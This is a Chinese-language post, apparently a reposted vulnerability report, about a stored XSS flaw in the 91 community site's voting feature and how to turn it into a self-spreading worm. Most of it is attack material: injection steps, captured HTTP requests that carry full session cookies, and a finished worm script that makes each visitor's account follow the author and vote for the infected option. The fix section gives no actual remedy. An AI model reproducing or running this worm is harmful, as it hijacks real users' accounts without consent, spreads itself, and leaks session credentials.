网站地图    收藏   

主页 > 后端 > 网站安全 >

91社区存储型XSS和XSS Worm - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 91社区投票处存在XSS可导致XSS worm传播1:新建一个任意投票,然后添加选项,加入XSS code2:访问投票页面即可触发关于XSS Worm实现思路:自定义js文件目标的投票功能存在xss,可以修改投票...

91社区投票处存在XSS可导致XSS worm传播
1:新建一个任意投票,然后添加选项,加入“XSS code”
 
2:访问投票页面即可触发
 
 
关于XSS Worm实现
思路:
自定义js文件
目标的投票功能存在xss,可以修改投票选项进行xss
一旦访问感染的js,就进行下面操作
1:
自动参加恶意投票,选择被感染的选项投票(投票的选项会自己广播出去从而进行传播)post实现
 
*************************************投票start************************
POST /vote/dovote/vid/433 HTTP/1.1 //433是投票id 
Host: t.91.com
Proxy-Connection: keep-alive
Content-Length: 6
Origin: http://t.91.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1 LBBROWSER
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://t.91.com/379610694                //379610694是用户自己的id
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: SUV=1359475045777963; __utma=1.513302903.1359475333.1359475333.1359475333.1; __utmz=1.1359475333.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 0FF535D2-3733-4059-AA48-73EFB0DA00CE=376FC8AE-EA0A-4aa9-8CF8-BDCF086DAFE7=2013-01-30 00:13:04&43CB770B-ECB7-4262-9F28-474C756FA85C=836a0471-1225-473b-a62e-015e3432776a&77A7D26A-7211-4b2a-A04A-1A3F9959F179=465842840&BF191744-3205-4d76-B8FC-3E0387F7EEFE=ee21862792cf8c9d397dccb7727c7c33; mininav=0; signedip=e39aeb1b8916c86f49ac0b542f23a163; PHPSESSID=b2974cfa13861b6803838a46dcdec208; NDUserCenterLogin=8D86E0CC-3E73-4d40-B849-55E6E63F9A08=379610694&689CFFF9-7996-407d-A0DC-C834CE0B56A3=A84CB3710182FD72AC78692E174EE72E84E55E913EFF329F9600F8063BAAA2509B370B90C5B255FD348E9C38F87378FBCA440EEBE445BA32&6ACA984D-8C96-4f45-9DE4-EABE9161375B=CC92F8E0BAFA8E09F26BF1D362EB02DDA85F0603FFF3820E95D8AA64F7D3356E&C201DE9A-536B-428d-88E4-4F8665742D12=200&89FDB445-D8D5-4d19-BC3A-D1EC2BFE68E1=20130131130528&8E533C9E-481D-4288-89B2-71F96380C540=2013-01-31 14:05:28&6E3A37BE-A0BD-4b9b-87A3-3323C3806ADD=84301d8b2526e82416aa4941b0f8babd; _TM_CN_SSO_CK=1359608730; uapc=dWlkPTM3OTYxMDY5NCZzaWQ9aGJ0bGc1Z2E4aXJob3I2aTR2MWlpbHV1azUmdGlkPSZiaWQ9JmV4cGlyZT0%3D; showtip_gamecard379610694=1; 60FC5FF9-8883-207a-B0DC-C834CE0B56A3=MjAwLTg0LTc%3D; ms_nums=0; comment_nickname=91%E7%94%A8%E6%88%B7%E7%9A%84%E5%95%8A; comment_user_nickname=91%E7%94%A8%E6%88%B7%E7%9A%84%E5%95%8A; comment_user_nickname_short=91%E7%94%A8%E6%88%B7%E7%9A%84%E5%95%8A; comment_user_id=379610694; comment_user_name=594yd; u_total_score=0; u_do_score=0; u_fight=0
 
r=1415               //1415是选项id
*************************************投票end************************
 
 
 
 
2:
读取好友列表,向好友发送让他们参加投票的站内信(站内信传播)get获取列表,post发信
 
***********************************好友读取*****************************
http://t.91.com/friend/ajaxfriendlist  //这是好友列表:会显示出好友的信息
 
好友显示出来后会继续get各个好友的头像
/center/avatar.php?uid=379454311&size=small&type=real&random=1359609442    //379454311就是好友id
 
*************************************发信start************************
POST /pm/sendpm/379610694 HTTP/1.1         //379610694是接收人的id
Host: t.91.com
Proxy-Connection: keep-alive
Content-Length: 31
Origin: http://t.91.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1 LBBROWSER
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://t.91.com/pm/index/newpm/uid=379610694    //379610694是接收人的id
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: SUV=1359475045777963; __utma=1.513302903.1359475333.1359475333.1359475333.1; __utmz=1.1359475333.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 0FF535D2-3733-4059-AA48-73EFB0DA00CE=376FC8AE-EA0A-4aa9-8CF8-BDCF086DAFE7=2013-01-30 00:13:04&43CB770B-ECB7-4262-9F28-474C756FA85C=836a0471-1225-473b-a62e-015e3432776a&77A7D26A-7211-4b2a-A04A-1A3F9959F179=465842840&BF191744-3205-4d76-B8FC-3E0387F7EEFE=ee21862792cf8c9d397dccb7727c7c33; mininav=0; signedip=e39aeb1b8916c86f49ac0b542f23a163; PHPSESSID=b2974cfa13861b6803838a46dcdec208; NDUserCenterLogin=8D86E0CC-3E73-4d40-B849-55E6E63F9A08=379610694&689CFFF9-7996-407d-A0DC-C834CE0B56A3=A84CB3710182FD72AC78692E174EE72E84E55E913EFF329F9600F8063BAAA2509B370B90C5B255FD348E9C38F87378FBCA440EEBE445BA32&6ACA984D-8C96-4f45-9DE4-EABE9161375B=CC92F8E0BAFA8E09F26BF1D362EB02DDA85F0603FFF3820E95D8AA64F7D3356E&C201DE9A-536B-428d-88E4-4F8665742D12=200&89FDB445-D8D5-4d19-BC3A-D1EC2BFE68E1=20130131130528&8E533C9E-481D-4288-89B2-71F96380C540=2013-01-31 14:05:28&6E3A37BE-A0BD-4b9b-87A3-3323C3806ADD=84301d8b2526e82416aa4941b0f8babd; _TM_CN_SSO_CK=1359608730; uapc=dWlkPTM3OTYxMDY5NCZzaWQ9aGJ0bGc1Z2E4aXJob3I2aTR2MWlpbHV1azUmdGlkPSZiaWQ9JmV4cGlyZT0%3D; showtip_gamecard379610694=1; 60FC5FF9-8883-207a-B0DC-C834CE0B56A3=MjAwLTg0LTc%3D; ms_nums=0; comment_nickname=91%E7%94%A8%E6%88%B7%E7%9A%84%E5%95%8A; comment_user_nickname=91%E7%94%A8%E6%88%B7%E7%9A%84%E5%95%8A; comment_user_nickname_short=91%E7%94%A8%E6%88%B7%E7%9A%84%E5%95%8A; comment_user_id=379610694; comment_user_name=594yd; u_total_score=0; u_do_score=0; u_fight=0
 
osubject=zhuti&message=zhengwen            //主题和正文
*************************************发信end************************
 
 
 
 
3:
自动收听传播发起人,(统计感染数量) get方式
get  /?controller=friend&action=follow&fid=379454312   //379454312被关注人的id
 
 
 
以上是一开始的思路,现学了1天多js脚本,然后尝试写了一天js后台提交数据,然后在今天下午发现自己NC了。。原因在下图:
 




 
 
本来官方就有自己的函数,我擦擦擦擦。。然后找到函数所在的js文件

 
 
提取出相关代码,分析里面的函数功能实现方式:
***********************************doVote()投票*****************************
**省略**
function doVote()
{
    var _ = art.T91_Waiting();
    $.ajax(
    {
        url : $GLOBALS["site_url"] + "vote/dovote/vid/" + cur_vid, type : "post", dataType : "json", data : $("#voteform").serialize(),  //cur_vid是所发起的投票的id,data的值就是框架所选的,即想要投的选项
        success : function (A)
        {
            _.close();
            if (A.status == 1)
            {
                art.tips("succeed", A.html);    //成功返回消息
                LoadPageMainHtml("commoninfo", $("#copyurl").val() + ((typeof reqs_from != "undefined" && reqs_from != 0) ? ("/from/" + reqs_from) : ""), 
                true, true)
            }
            else {
                art.T91_TipsIcon("error", A.html);  //失败返回消息
            }
        }
    })
}
****省略*****
***********************************doVote()投票*****************************
 
 
发起的投票vid在状态栏可见,即想要投的选项的值在调试模式下可见
 
 


 
即data的值为“r=1482”
***********************************doAddFollow(_)关注*****************************
****省略*****
function doAddFollow(_)
{
    $.ajax(
    {
        url : site_url + "?controller=friend&action=follow", type : "get", dataType : "json", data : "fid=" + _,    //变量“_”,没错,下划线是变量名,代表着要关注的人的UID,下面就是各种情况的返回消息。
        success : function (A)
        {
            if (A.state == 1)
            {
                var B = $("div[name='followconcern_" + _ + "']");
                if (B.length > 0)
                {
                    if (A.follow == 1) 
                    {
                        B.find("em[class='color_3']").html("\u5df2\u5173\u6ce8");
                        B.find("span[name='ico']").removeClass();
                        B.find("span[name='ico']").addClass("ico i_ygz");
                        B.find("span[class='col']").html(" | <a href='javascript:void(0);' onclick='delFollow(" + _ + ");' class='contact_cancel'>\u53d6\u6d88</a>") 
                    }
                    else if (A.follow == 2) 
                    {
                        B.find("em[class='color_3']").html("\u76f8\u4e92\u5173\u6ce8");
                        B.find("span[name='ico']").removeClass();
                        B.find("span[name='ico']").addClass("ico i_hxgz");
                        B.find("span[class='col']").html(" | <a href='javascript:void(0);' onclick='delFollow(" + _ + ");' class='contact_cancel'>\u53d6\u6d88</a>") 
                    }
                    art.tips("succeed", A.msg);
                    delUsercard("id=" + _);
                }
            }
            else if (A.state == 2) {
                art.tips("warning", A.msg);
            }
            else if (A.state == 3) {
                art.tips("warning", A.msg);
            }
            else {
                art.tips("error", A.msg);
            }
        }
    })
}
****省略*****
***********************************doAddFollow(_)关注*****************************
 
 
既然是worm,就肯定不要有各种的消息提示,所以精简官方的代码,只留下提交数据的,整合成咱们需要的js:
*************************************成品worm************************
doAddFollow1(379454311);    //379454311自己的uid
window.setTimeout("doVote1();",1000);      //延时1s执行doVote1(),不然有时会类似丢包的效果出现
function doVote1()
{
    var _ = art.T91_Waiting();
    $.ajax(
    {
        url : $GLOBALS["site_url"] + "vote/dovote/vid/453", type : "post", dataType : "json", data : "r=1482",    //453所发起的投票vid,1482所投票的id(即存在XSS代码的选项)
        success : function (A)
        {
            _.close();
            
        }
    })
}
 
function doAddFollow1(_)
{
    $.ajax(
    {
        url : site_url + "?controller=friend&action=follow", type : "get", dataType : "json", data : "fid=" + _, 
        success : function (A)
        {
            if (A.state == 1)
            {
                var B = $("div[name='followconcern_" + _ + "']");
                if (B.length > 0)
                {
                    art.tips("succeed", A.msg);
                    delUsercard("id=" + _);
                }
            }
        }
    })
}
*************************************成品worm************************
 
ps:刚学js,再加上最近要努力学单片机鸟,第二项功能就没继续研究下去了,可以按照投票的js代码修改一下。大家多多包涵。。
修复方案: 
修复方式你懂得

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论